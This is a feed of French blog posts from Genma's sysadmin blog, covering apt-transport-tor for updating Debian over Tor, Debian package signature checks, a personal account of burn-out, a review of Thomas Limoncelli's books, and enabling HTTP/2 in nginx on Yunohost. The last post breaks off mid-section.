url: https://blog.genma.fr/?Mettre-a-jour-Debian-via-Tor-apt-transport-tor
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2304.jpg?1472461477' width='150' height='79' />
		<div class='rss_texte'><p>De même que l'on souhaitera <a href='https://blog.genma.fr/?Mise-a-jour-des-clefs-GPG-via-Tor' title="Mise à jour des clefs GPG via Tor">mettre à jour ses clefs GPG via Tor</a> (cf <a href='https://blog.genma.fr/?Mise-a-jour-des-clefs-GPG-via-Tor' title="Mise à jour des clefs GPG via Tor">mon billet sur Parcimonie</a>), on peut souhaiter mettre à jour sa distribution Debian via Tor. C'est pour répondre à cette problématique qu'a été lancé le projet <i>apt-transport-tor</i> dont les sources sont disponibles ici <a href="https://github.com/diocles/apt-transport-tor" title="https://github.com/diocles/apt-transport-tor">https://github.com/diocles/apt-transport-tor</a></p>
<p>Pour rappel, le port utilisé par apt est le port 80 et donc cela ne pose pas de soucis de faire une mise à jour via Tor.</p>
<p><strong>But du projet</strong></p>
<p>La description du projet décrit assez bien le but du projet de façon assez simple : il est décrit comme étant un moyen simple d'installer ses packages Debian par Tor. Comme indiqué sur la page du projet : <i>Le téléchargement des paquets Debian sur Tor empêche un attaquant qui reniflait votre connexion réseau d'être en mesure de dire quels paquets vous récupérez, et même d'associé votre trafic au fait que votre système tourne sous Debian.</i><br class='autobr' />
Toutefois, cela ne signifie vous défend pas :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> d'un adversaire passif global (qui pourraient potentiellement corréler le trafic du noeud de sortie avec votre trafic Tor local)
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> d'un attaquant qui regarderait la taille de vos téléchargements, et qui ferait une supposition avisée sur le contenu
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> d'un attaquant qui a compromis votre machine<br class='autobr' />
Enfin, les vitesses de téléchargement seront plus lentes via Tor.</p>
<p><strong>Comment ça marche</strong></p>
<p>Le paquet implémente une méthode d'acquisition des paquets en cherchant des URLS du type "tor+http://" or "tor+https://" dans le fichier sources.list.</p>
<p>Les dépôts Debian utilisés sont les dépôts standards (on ne parle pas d'utiliser des dépôts Debian en Hidden services ou fichiers cachés), ou de dépôts alternatifs. On se connecte aux mêmes dépôts qu'habituellement, mais via une connexion Tor ce qui permet d'être anonyme vis à vis du serveur du dépôt.</p>
<p>Rq : sur la page de documentation, les liens indiqués pour le source liste sont sous la forme http. Http et non Http<b>S</b>. Mais ce n'est pas un problème. Bien qu'il n'y ait pas de dépôt officiel Debian en HTTPS, les paquets Debian étant signé via GPG, le risque de compromission du paquet ne se pose pas. Voir à ce sujet mon billet <a href='https://blog.genma.fr/?Verifier-l-integrite-des-paquets-Debian' title="Vérifier l'intégrité des paquets Debian">Vérifier l'intégrité des paquets Debian</a>.</p>
<p><strong>Différence avec un torrify apt-get install</strong></p>
<p>Je me suis posé la question de la différence entre l'utilisation de cette commande et une commande du type <code class='spip_code' dir='ltr'> torrify apt-get install</code> (Voir <a href='https://blog.genma.fr/?La-commande-Torify' title="La commande Torify">La commande Torify</a> pour plus de détails).</p>
<p>J'ai eu la réponse suivante : <i>torify / torsocks is a huge hack with Linux library preloading. Not very clean, can leak DNS, etc. With apt-transport-tor, you use the Tor SOCKS5 proxy directly (and correctly)</i> que je traduirais par <i>>torify / torsocks se basent sur des hacks énormes de librairies préchargées de Linux. Ce n'est pas très propre, il y peut y avoir des fuites de DNS (les DNS Leak). Avec la commande apt-transport-tor, on utilise directement et correctement le proxy Tor SOCKS5</i>.</p></div>
		
		


feed_id: https://blog.genma.fr/?Verifier-l-integrite-des-paquets-Debian
title: Vérifier l'intégrité des paquets Debian
uri: 2018-08-24-Vérifier-l-intégrité-des-paquets-Debian
url: https://blog.genma.fr/?Verifier-l-integrite-des-paquets-Debian
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2242.jpg?1472461483' width='150' height='79' />
		<div class='rss_texte'><p>Après mes trois articles <a href='https://blog.genma.fr/?Comment-verifier-l-integrite-d-un-fichier-que-l-on-telecharge' title="Comment vérifier l'intégrité d'un fichier que l'on télécharge ?">Comment vérifier l'intégrité d'un fichier que l'on télécharge ?</a>, <a href='https://blog.genma.fr/?Comment-verifier-l-integrite-du-TorBrowser-quand-on-le-telecharge' title="Comment vérifier l'intégrité de Firefox quand on le télécharge?">Comment vérifier l'intégrité de Firefox quand on le télécharge ?</a>, et <a href='https://blog.genma.fr/?Comment-verifier-l-integrite-du-TorBrowser-quand-on-le-telecharge' title="Comment vérifier l'intégrité du TorBrowser quand on le télécharge?">Comment vérifier l'intégrité du TorBrowser quand on le télécharge ?</a>, voici des petites explications sur comment cela marche au niveau du gestionnaire de paquets sous Debian/Ubuntu.</p>
<p>Rq : ce billet est une vulgarisation (et donc une simplification) ; il se veut accessible à tous et peut de ce fait contenir des approximations.</p>
<p><strong>Vérification d'authenticité des paquets</strong></p>
<p>Pour cette partie, je citerai le <a href="http://debian-handbook.info/browse/fr-FR/stable/sect.package-authentication.html" title="cahier de l'administrateur Debian">Cahier de l'administrateur Debian</a> et plus précisément cette page <a href="http://debian-handbook.info/browse/fr-FR/stable/sect.package-authentication.html" title="cahier de l'administrateur Debian">http://debian-handbook.info/browse/fr-FR/stable/sect.package-authentication.html</a></p>
<p><i>Debian offre un moyen de s'assurer que le paquet installé provient bien de son mainteneur et qu'il n'a subi aucune modification par un tiers : il existe un mécanisme de scellement des paquets.</i></p>
<p><i>Cette signature n'est pas directe : le fichier signé est un fichier Release placé sur les miroirs Debian et qui donne la liste des différents fichiers Packages (y compris sous leurs formes compressées Packages.gz et Packages.bz2 et les versions incrémentales), accompagnés de leurs sommes de contrôle MD5, SHA1 et SHA256 (pour vérifier que leur contenu n'a pas été altéré). Ces fichiers Packages renferment à leur tour une liste de paquets Debian et leurs sommes de contrôle, afin de garantir que leur contenu n'a pas lui non plus été altéré.</i></p>
<p><i>La gestion des clés de confiance se fait grâce au programme apt-key, fourni par le paquet apt. Ce programme maintient à jour un trousseau de clés publiques GnuPG, qui sont utilisées pour vérifier les signatures des fichiers Release.gpg obtenus depuis les miroirs Debian. Il est possible de l'utiliser pour ajouter manuellement des clés supplémentaires (si l'on souhaite ajouter des miroirs autres que les miroirs officiels) ; mais dans le cas le plus courant, on n'a besoin que des clés officielles Debian, qui sont automatiquement maintenues à jour par le paquet debian-archive-keyring (qui installe les trousseaux de clés dans /etc/apt/trusted.gpg.d).</i></p>
<p>On voit donc ici que GPG est utilisé pour valider la signature des différents paquets. Quand on ajoute un nouveau dépôt (de backport par exemple), c'est pour celà qu'il faut également télécharger la clef publique du dépôt, car elle est utilisée pour valider et vérifier l'intégrité des paquets .deb qui sont téléchargés.</p>
<p>Si quelqu'un modifie les fichiers sans modifier la signature et la clef fournie, le fichier sera considéré comme corrompu. Ce n'est pas une sécurité ultime, mais cela apporte un peu plus de sécurité qu'un simple téléchargement sans qu'aucune vérification ne soit faite.</p>
<p><strong>Debsum</strong></p>
<p><i>debsums Vérifie les fichiers des paquets Debian installés grâce à une liste des sommes de contrôle MD5 de /var/lib/dpkg/info/*.md5sums. debsums peut générer des listes de sommes de contrôle à partir des archives deb pour les paquets n'en possédant pas.</i></p>
<p>Autre programme, debsums. Intéressant, mais comme il est précisé dans la page de man <i>debsums est d'une utilité limitée en tant qu'outil de sécurité, à moins que le programme et tous les outils apparentés (dpkg, perl, Digest::MD5, etc.) soient lancés d'un média reconnu comme sûr (comme un cédérom de secours bootable, voir l'option —root) et que les sommes de contrôle aient étés calculées à partir des fichiers .deb (—generate=all) présents sur ce média ou certifiées en utilisant l'option —md5sums."</i></p>
<p>C'est un peu le serpent qui se mort la queue : il faut lancer une version déjà vérifié de debsums et des outils Debian associés pour pouvoir valider les autres paquets déjà installés... Or les outils Debian sont eux-même installés par des paquets... Le plus simple est lors de l'installation, d'avoir validé/vérifié l'intégrité du support d'installation (iso, dvdrom...) et ensuite, on utilisera Debsum pour les paquets nouvellement installés (par installation à la demande ou mise à jour).</p></div>
		
		


feed_id: https://blog.genma.fr/?Retour-apres-deux-mois-de-silence
title: Retour après deux mois de silence
uri: Retour-après-deux-mois-de-silence
url: https://blog.genma.fr/?Retour-apres-deux-mois-de-silence
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2771.jpg?1534868196' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait suite au billet publié début juillet <a href="https://blog.genma.fr/?Silence-sur-ce-blog-en-juin" title="Silence sur ce blog en juin">Silence sur ce blog en juin</a>.</p>
<p>Sur ce blog, parfois, je publie des billets qui sont très personnels, intimistes. Et à coté de ça, il y a des choses que je n'évoquerai jamais sur ce blog. Je sais qu'Internet n'oublie pas. Et pourtant, je voudrais parler de ma situation actuelle qui a fait que pendant tout l'été, ce blog est resté assez silencieux. De la même façon que des tutoriaux informatiques m'aident à progresser techniquement, le partage des expériences de vie m'aide à m'enrichir, à progresser, à me faire des avis et opinions sur des sujets, à réaliser certaines choses. De ce fait, je publie le présent billet pour partager, pour aider d'autres personnes à travers mon témoignage personnel. Car il faut en parler. Et ce dont il faut parler, c'est le burn-out.</p>
<p><strong>Une ébauche de billet qui aurait dû m'alerté</strong></p>
<p>J'ai retrouvé dans un coin, des notes, les débuts d'un brouillon de billet de blogs, écrit je ne sais quand, la date n'est pas exacte car remanié, synchronisé, la date du fichier n'est plus valable.</p>
<p>J'y avais écrit : <i>Les semaines passent à un rythme bien chargé. Pas facile tous les jours mais ça me plaît. Le week-end, je passe à autre chose. Je n'ai plus le temps en semaine de faire autre chose que le travail. Je n'ai que peu de temps le week-end. Mes activités publiques comme les conférences s en ressentent. Le blog a moins de parution, des billets plus spécialisés (pas encore très technique) Le partage d expérience je l ai toujours fait alors je continue en témoignant sur ma progression avec ma série de billets sur comment je deviens sysadmin... Je prends les choses toujours autant avec passion mais je prends aussi du temps pour partager l'expérience apprise. Je prends ainsi du recul.</i></p>
<p><i>Côté personnel aussi il y a des petites choses que je n aborderai pas sur le blog. Pas mal de réflexions et évolutions personnelles, des choses que j ai pu comprendre en ce début d'année ; l'approche des 40 ans l année prochaine, la famille qui prend de l'âge avec les complications que cela entraîne. Autant de choses qui font que l on redéfinie ses priorités personnelles. C'est ça aussi la vie.</i></p>
<p><i>Côté réseau sociaux. Moins de temps. Pas envie de parler et de raconter ma vie (même si c est ce que je fais par le présent billet).</i></p>
<p><i>Le lifehacking continue mais à un niveau plus modéré. Plus pour les choses techniques. Pour le reste je prends le temps de vivre. Je prends du temps pour moi. Je n'ai toujours pas le temps de lire. Les transports sont mes moments de bulles avec les podcasts que je suis depuis des années. Le soir ce sont les séries télé que je suis année après année avec les marathons de saisons les une après les autres.</i></p>
<p>Cela tient plus du journal intime, mais montre différents constats, des réflexions à creuser, des préoccupations, une routine...</p>
<p><strong>Burn-out</strong></p>
<p>Je l'abordais <a href="https://video.passageenseine.fr/videos/watch/66ff6faa-6130-4217-8586-7e5b0e8ee92f" title="Du pseudonymat au pseudonyme, retour d'expérience - Genma">dans ma conférence donnée à Passage en seine</a>, fin juin 2018, le mois de juin a été une succession de ce que l'on appelle des burn-out. Des craquages nerveux, nécessitant que je m'isole, sur mon lieu de travail, à l'abri des regards, pour pleurer. J'ai discuté avec plusieurs personnes sur le pourquoi et les raisons, la principale étant abordé dans les billets de blog <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">le métier passion</a> et <a href="https://blog.genma.fr/?Tout-intellectualiser" title="Tout intellectualiser">Tout intellectualiser</a> écrit à la mi-mars lors du premier craquage nerveux. Et j'ai continué de travailler... Durant de long mois. Jusqu'en juin et un craquage par semaine. Comme dit dans ma conférence... <a href="https://video.passageenseine.fr/videos/watch/66ff6faa-6130-4217-8586-7e5b0e8ee92f" title="Du pseudonymat au pseudonyme, retour d'expérience - Genma">dans ma conférence donnée à Passage en seine</a>. Je ne referai pas ma conférence par écrit ici.</p>
<p>Je n'ai pas pris d'arrêt de travail, Juillet a été 4 longues semaines de remise en question, avec deux nouvelles phases de craquage. Je ne me suis pas fait aidé, je ne suis pas allé chez un médecin pour me faire arrêter. Tout le contraire de ce qu'il faut faire quand on est en burn-out.</p>
<p>Cette phase de malt-être dans ma vie c'est aussi ressentie sur ce blog : absence de publication hormis quelques billets rédigés en avance. Grande phase de vide sur l'été. Quand je n'écris pas, c'est généralement signe que je suis fatigué ou dans une mauvaise phase (je reviendrai sur le sujet en abordant celui de la cyclothymie dans un prochain billet en cours de rédaction), j'aurai du le voir. Je ne l'ai pas vu. Pas voulu le voir.</p>
<p><strong>Quand le corps lâche</strong></p>
<p>Un premier signe que j'aurai du voir, du fait que mon corps me lâchait, est l'accident suivant. Je prends le même chemin tous les jours. Et un jour de mai, j'ai buté, je suis tombé dans la rue. En avant. Je me suis complètement étalé. Pas de vertiges, rien. J'ai juste buté. Portant des lunettes, je me suis ouvert la peau sur le nez. J'étais sur le chemin de la gare, pas loin de l'hôpital de la ville. Je préviens mon employeur, passage par la case des urgences. On me soigne, coupure de la peau arrachée, deux semaines de pansement sur le nez. J'avais un arrêt de travail de deux jours mais je suis allé au travail. De cet accident, j'en ai gardé une cicatrice, discrète, mais qui chaque matin me rappelle dans le miroir que je suis tombé, je me suis relevé et que j'ai continué comme si de rien n'était.</p>
<p><strong>Le signe de trop</strong></p>
<p>Chez moi, extériorisation de ma colère est de taper du poing dans un mur ou dans une porte. Je m'isole, je pleure, et je tape dans un mur. Une à plusieurs fois. Je frappe sans me faire mal, je retiens mon coup, je ne veux pas me blesser. Aucune volonté d'automutilation, juste une extériorisation de la colère. Et je ne veux pas que ça laisse de trace sur moi, qu'on sache que je ne suis pas bien. J'ai déjà fait ça dans des phases difficiles de ma vie, durant mes craquages de juin, une fois par semaine, j'ai eu la même réaction : je m'isole, les escaliers de secours de l'immeuble sont bien pour ça...</p>
<p>Et en juillet, quand je pensais que ça allait mieux, 10 jours que je n'avais pas craqué, j'ai eu une nouvelle phase où ça n'a pas été. Rite devenu habituel, je m'isole, je ferme le poing, je tape. Quand l'index de ma main a gonflé et est devenu violet, j'ai compris que c'était le signe que mon corps me lâchait une fois de plus. J'avais cassé quelque chose. Passage par l'infirmerie du bâtiment, glace, le doigt bouge et dégonfle. Discussion avec l'infirmière sur le suivi nécessaire, l'urgence d'arrêter tout et de me faire soigner physiquement et psychologiquement. Mon doigt bouge, dégonfle, est bandé. C'est presque la fin de journée. Au lieu de prendre mes affaires et partir, je suis retourné travailler comme si de rien n'était, de même pour le lendemain. Mon doigt est gonflé, deux fois plus que la normal, mais bouge, je sens une gène mais ça va. J'ai continué de travailler jusqu'à mes vacances début août.</p>
<p>Dans les jours et semaines qui ont suivi, et encore aujourd'hui, quand j'écris ces lignes durant mes vacances, quand je plis le doigt, je sens une légère douleur qui me rappelle jusqu'où je suis allé.</p>
<p><strong>Vacances - Retour aux sources</strong></p>
<p>Peu de personnes le savent, je ne sais pas si j'ai déjà abordé le sujet. Ma mère est Polonaise et j'ai donc passé tout mes été d'enfance et d'adolescence dans un tout petit village au milieu de nulle part dans la campagne polonaise. Quand je parle à des Polonais de la région où je vais, au Nord de la capitale et au sud de de la région des grands lacs, tous me disent "Mais il n'y a rien là-bas". J'aurais plein de choses à raconter sur ma vie là-bas, l'évolution entre le Pologne des années 80 et celles d'aujourd'hui, le passage des frontières et du rideau de fer, la pauvreté, l'alcoolisme, la vie dans un petit village avec les commérages, les rumeurs, la vie au rythme des saisons des paysans... Tout ça a fait une partie de celui que je suis. Mais tout ça ce sont plein d'autres histoires...</p>
<p>Adulte, je retourne donc en Pologne dans le village où est ma famille maternelle, tous les 3-4 ans, tandis que mes parents continuent d'y aller chaque été depuis 40 ans. Quand les vacances sont venues, comme j'avais prévu de partir quelques jours avec mes parents, je suis parti avec eux. J'avais besoin, du fait de mon burn-out, de faire un retour aux sources. De revenir aux fondamentaux.</p>
<p><strong>Sur la route</strong></p>
<p>Deux jours de voyages, 2 fois 10 heures de route. 1700 km. Deux jours passer à essayer de me vider l'esprit. Chaque kilomètre d'autoroute absorbe un peu du stress cumulé ces derniers mois. Ma mère lit un livre, mon père conduit (et refuse de laisser quelqu'un autre conduire). Moi je regarde la route et me vide la tête. Je pense à mes souvenirs d'enfance, aux personnes que j'ai connu, à tous ces cousins - du côté de ma mère, chaque génération précédent la mienne a eu en moyenne 5 enfants et donc j'en ai des cousin.e.s... Au village qui se vide, où disparaissent peu à peu les personnes âges, à ma grand-mère passée dans la génération des arrières grand-parents, à mes parents que mes neveux nièces appellent "djadek" et "babtcha", volonté de se rappeler d'où on vient. Je me vide la tête. L'asphalte se déroule sous les pneus et c'est une sorte d'exutoire.</p>
<p><strong>Sur place</strong></p>
<p>Sur place, modernité oblige et vive le roaming, j'ai Internet en 3G sur le smartphone, je ne me déconnecte pas. Je garde un lien avec ce que j'aime, l'actualité informatique, les réseaux sociaux pour avoir des nouvelles des copains.copines des Internet...</p>
<p>Mais enfin, je me déconnecte du boulot. Je pense de moins en moins au boulot. Je ne regarde pas mes mails. Je me le suis interdits. Et je tiens. J'ai été et je suis un workoolic (contraction de work et alcoolic en anglais) : tel un alcoolique qui ne boit plus et ne touchera pas de verre, même pas un, je ne regarderai pas un mail, pas une seule fois.</p>
<p>Le retour aux sources, c'est aussi pour moi de revenir à qui est Genma. Le Genma qui s'est fait mangé par sa passion. Là, j'ai du temps pour me poser, réfléchir. Le temps s'est arrêté. On vit à un rythme différent : lever au son du coq avec le soleil, coucher à la nuit tombée avec les poules (ce ne sont pas que des expressions), la sortie du jour étant d'aller en ville faire quelques courses et d'aller voir de la famille. Ballade dans un village désertifié. Le vide dans les journées passées avec la famille, pendant des heures à parler de tout et de rien. Et mon esprit se vide.</p>
<p><strong>Vacances</strong></p>
<p>J'ai donc passé 3 semaines en vacances - qui aurait du être trois semaines d'arrêt maladie. Plusieurs fois par jour, j'ai pensé au boulot, à ce qui pouvait se passer. Quand je me suis connecté depuis un PC pour aller sur Internet, j'ai dû résister à l'envie d'aller jeter un coup d'oeil à l'outil de supervision aux mails, à celle d'allumer le téléphone pro pour regarder si je n'avais pas des messages urgents. Mais j'ai tenu bon.</p>
<p>Et pourtant, je sais l'addiction au travail, le stress, ne sont pas loin. J'ai eu plusieurs fois où je me suis réveillé la nuit avec une phase d'insomnie. Signe qu'à tout moment je pouvais replonger et ces trois semaines de coupure étaient on ne peut plus nécessaire. Et signe que comme je le dis, j'ai passé 3 semaines en vacances qui aurait dû être trois semaines d'arrêt maladie pour ensuite avoir de vraies vacances.</p>
<p><strong>Conclusion</strong></p>
<p>Quand ce billet sera publié, j'aurai repris le travail. Avec mon recul des 3 semaines, toutes ces heures passés à réfléchir, mon sevrage, j'espère pouvoir repartir sur de bonnes bases. Mais je sais aussi qu'au moindre nouveau signe, je me ferai aider. J'irai voir mon médecin. La prise de recul m'a permis de prendre aussi le courage de savoir que, si je ne suis pas bien, je dois me faire aider. Pas de honte, pas de tabou. <a href="https://blog.genma.fr/?La-pyramide-de-Maslow-du-sysadmin" title="La pyramide de Maslow du sysadmin">Juste un humain qui a besoin de se préserver</a>.</p></div>
		
		


feed_id: https://blog.genma.fr/?Les-livres-de-Thomas-Limoncelli-les-bibles-pour-le-sysadmin
title: Les livres de Thomas Limoncelli : les bibles pour le sysadmin ?
uri: Les-livres-de-Thomas-Limoncelli-les-bibles-pour-le-sysadmin
url: https://blog.genma.fr/?Les-livres-de-Thomas-Limoncelli-les-bibles-pour-le-sysadmin
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2775.jpg?1535120348' width='150' height='79' />
		<div class='rss_texte'><p>Thomas Limoncelli, comme beaucoup de personnes ayant un peu de notoriété, a une page Wikipedia en anglais qui permet d'en savoir un peu plus sur cette personne. Administrateur système depuis 1987, il est l'auteur de plusieurs livres sur l'administration système, dont 1 publié en première édition en 2001, dont la 3 ème réédition actualisée est sortie en 2016.</p>
<p>Thomas Limoncelli se base sur plus de 20 ans de carrières pour faire des livres de conseils et de retour d'expérience, généraliste et atemporel, que beaucoup recommandent. Ces livres, en anglais sont donc : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> The Practice of System and Network Administration : Volume 1 : DevOps and other Best Practices for Enterprise IT4 novembre 2016<br class='autobr' />
de Thomas A. Limoncelli et Christina J. Hogan<br class='autobr' />
( The Practice of Cloud System Administration : DevOps and SRE Practices for Web Services, Volume 2 (Anglais) Broché – 3 septembre 2014<br class='autobr' />
de Thomas Limoncelli <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Time Management for System Administrators by Thomas A. Limoncelli (O'Reilly), 2005. Disponible en français sous le titre "Admin'sys : Gérer son temps... et interagir efficacement avec son environnement"</p>
<p>Des supports de ses conférences et des vidéos sont disponibles en ligne et reprennent synthétisent ces livres :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.slideshare.net/TomLimoncelli/tom-limoncellis-top-5-time-management-tips" title="Tom Limoncelli's Top 5 Time Management Tips for SysAdmins/DevOps/Devs">Tom Limoncelli's Top 5 Time Management Tips for SysAdmins/DevOps/Devs</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.slideshare.net/TomLimoncelli/tom-limoncellis-top-5-time-management-tips" title="Radical ideas from the book: The Practice of Cloud System Administration ">Radical ideas from the book : The Practice of Cloud System Administration </a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.slideshare.net/TomLimoncelli/stealing-the-best-ideas-from-devops-a-guide-for-sysadmins-without-developers" title="Stealing the Best Ideas from DevOps: A Guide for Sysadmins without Developers">Stealing the Best Ideas from DevOps : A Guide for Sysadmins without Developers</a></p>
<p>Avant de commencer ma critique, je voudrais citer l'introduction des cours d'Administration de réseaux de Marc Baudoin, enseignant à l'ENSTA ParisTech :</p>
<p><i>L'administration réseau, de même que l'administration système d'ailleurs, est une discipline qui ne s'enseigne pas. Ceci peut paraître paradoxal puisque ce document est le support d'un cours d'administration réseau, justement. Relativisons les choses, si l'administration réseau ne s'enseigne pas, en revanche, elle s'apprend et le but de ce cours est de donner aux élèves un minimum d'éléments leur permettant par la suite d'orienter leur apprentissage dans la bonne direction.</i></p>
<p><i>Pourquoi l'administration réseau ne s'enseigne-t-elle donc pas ? Tout d'abord, parce c'est un domaine bien trop vaste et qui évolue trop rapidement pour que quiconque puisse le dominer de la tête et des épaules. De plus, le nombre de matériels et de logiciels est trop important pour qu'on puisse en faire une étude sérieuse. De toute façon, chaque entreprise a fait ses choix dans ce domaine et les jeunes ingénieurs auront généralement à s'y plier.</i></p>
<p>En ayant ces idées clef en tête, on peut aborder sereinement la lecture de livres de Thomas Limoncelli. Et en effet, dans ces livres, aucune commande, aucun nom de logiciel ou presque. Ce ne sont pas des tutoriaux. Les technologies, les outils, sont présentés en tant que concept et sont donc logiciels agnostiques. Ainsi, les conseils sur les sauvegardes, la virtualisation, la gestion d'un serveur, des utilisateurs etc. De nombreux exemples détaillés et partage d'expérience, viennent répéter les propos : on a des redites régulières, mais c'est plus pour enfoncer le clou, être sûr d'avoir compris.</p>
<p>Étant donné l'état dans lequel je suis arrivé cet été, la lecture des ces livres pendant mes congés m'a beaucoup aidé. Ces livres sont très long à lire. 1200 pages par volume. Ca prend du temps. Mais celà m'a permis de voir qu'il y a des choses que je faisais bien et correctement en terme d'organisation. Et j'ai appris / eu des conseils. Sur comment gérer les interruptions régulières en cours de journées qui me perturbent dans mon travail quotidien d'administrateur système. Il y a beaucoup de choses qui sont des évidences, mais j'ai aussi beaucoup appris. Il y a pas mal de choses, des pratiques, des descriptions, des situations dans lesquelles j'ai reconnu ce que je vivais au quotidien et ai trouvé des solutions.</p>
<p>Chaque chapitre se termine par un résumé du type "qu'avons nous appris dans ce chapitre" suivi d'une série d'exercices /questions permettant la mise en place / d'appliquer les conseils donnés en se faisant sa propre opinion, expérience, analyse de l'existant... Et de vérifier les acquis / compréhensions.</p>
<p>Dans le cas du livre Time Management, les conseils sont très proches du lifehacking, avec les principes de Todo-liste etc., des méthodes pour s'organiser. Certains des conseils sont résumés dans un chapitre du volume 1 du livre. Là encore, des choses que je connaissais et mettais en pratique et des nouvelles méthodes et choses apprises qui me seront utiles.</p>
<p>Je cherchais un livre sur l'état de l'art de l'administrateur système, je l'ai trouvé. Je le redis : aucune commande, pas de noms de technologies de références, mais plus des conseils et une expertise, un partage d'expérience enrichissant.</p>
<p>Merci à Emmanuel Seyman pour la recommandation. MERCI.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-activer-http2-dans-Nginx
title: Yunohost activer http2 dans Nginx
uri: Yunohost-activer-http2-dans-Nginx
url: https://blog.genma.fr/?Yunohost-activer-http2-dans-Nginx
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2776.jpg?1535808193' width='150' height='79' />
		<div class='rss_texte'><p>Les dernières versions de Yunohost tournent sous Debian 9. Avec cette version de Debian, la version de nginx est la version 1.10. Cette version supportant le protocole http2, je me suis posé la question de est-ce que c'est activé ou activable et sinon, pourquoi ?</p>
<p><strong>Quelques rappels sur http2</strong></p>
<p>Http2 est une nouvelle version du protocole Http qui date de quelques années.</p>
<p>Http2 apporte les optimisations suivantes :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Compression des headers des requêtes et des réponses : cette optimisation conduit à la réduction de la bande passante lorsque les headers sont similaires.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> le multiplexage des requêtes au serveur : de multiples informations passent alors via un seul tuyau de transmission.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Les requêtes sont effectuées simultanément par le navigateur</p>
<p><strong>Http2 et Yunohost</strong></p>
<p>Les différents fichiers de configuration nginx, que ce soit pour les domaines ou les sous domaines, se trouvent dans le dossier /etc/nginx/conf.d/</p>
<p>Dans les différents fichiers du type domaine.conf, j'ai commenté les lignes correspondant au http et ajouter des lignes pour http2.</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>server {<br /> #listen 443 ssl;<br /> #listen [::]:443 ssl;<br /> listen 443 ssl http2;<br /> listen [::]:443 ssl http2;<br /> server_name domaine.com;</code></div>
<p>Une fois les différents fichiers modifiés, on vérifie que l'on n'a pas fait d'erreur</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># nginx -t<br /> nginx: the configuration file /etc/nginx/nginx.conf syntax is ok<br /> nginx: configuration file /etc/nginx/nginx.conf test is successful</code></div>
<p>Et on relance nginx<br class='autobr' />
</code><br class='autobr' />
# service nginx restart<br class='autobr' />
</code></p>
<p>Amélioration à faire : pour pouvoir modifier tous les fichiers de configuration en même temps, un script à base de sed qui modifie les lignes.</p>
<p>Avec le protocole http 1.1, dans les logs, on peut voir des lignes du type</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>1.2.3.4 - genma [01/Sep/2018:15:04:53 +0200] "PROPFIND /remote.php/d<br /> av/files/genma/ HTTP/1.1" 207 397 "-" "Mozilla/5.0 (Linux) mirall/2.3.3 (N<br /> extcloud)"</code></div>
<p>Avec le protocole http 2,</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>1.2.3.4 - - [01/Sep/2018:14:27:20 +0200] "GET /index.php/apps/themin<br /> g/favicon?v=0 HTTP/2.0"</code></div>
<p>Ce qui permet de valider également que le protocole http2 est bien en place.</p>
<p><strong>Limitation - problème connu</strong></p>
<p>Comme indiqué en réponse à une question que j'ai posé <a href="https://forum.yunohost.org/t/yunohost-3-http2/5590" title="Forum Yunohost - Yunohost 3 & Http2">dans le forum Yunohost.org</a> <i>There is just one known problem : curl installation. Indeed, http2 is incompatible with curl (at least we don't know any solution). So, you can't install wordpress if http2 is enable for example. But ofc, after installation, if you reenable is, it will work (same for upgrade).</i></p>
<p>Http2 est incompatible avec curl et il n'y a pour l'instant pas de solution. On ne peut donc installer Wordpress (ce qui nécessite curl) si http2 est activé dans la configuration de nginx. La solution est de créer un sous-domaine, ce qui générera une configuration nginx par défaut pour ce sous-domaine (sans http2 d'activé donc), d'installer l'application sur ce sous-domaine et ensuite, d'activer http2.</p>
<p>A voir ce qu'il en est lors des mises à jour des applications : les packages d'applications Yunohost utilisent curl (voir le contenu du script install.sh dans les applications) pour récupérer le code source officiel de l'application, il doit donc être nécessaire de repasser en mode http dans la configuration avant la mise à jour.</p>
<p><strong>Gain de performance mais pas de benchmark</strong></p>
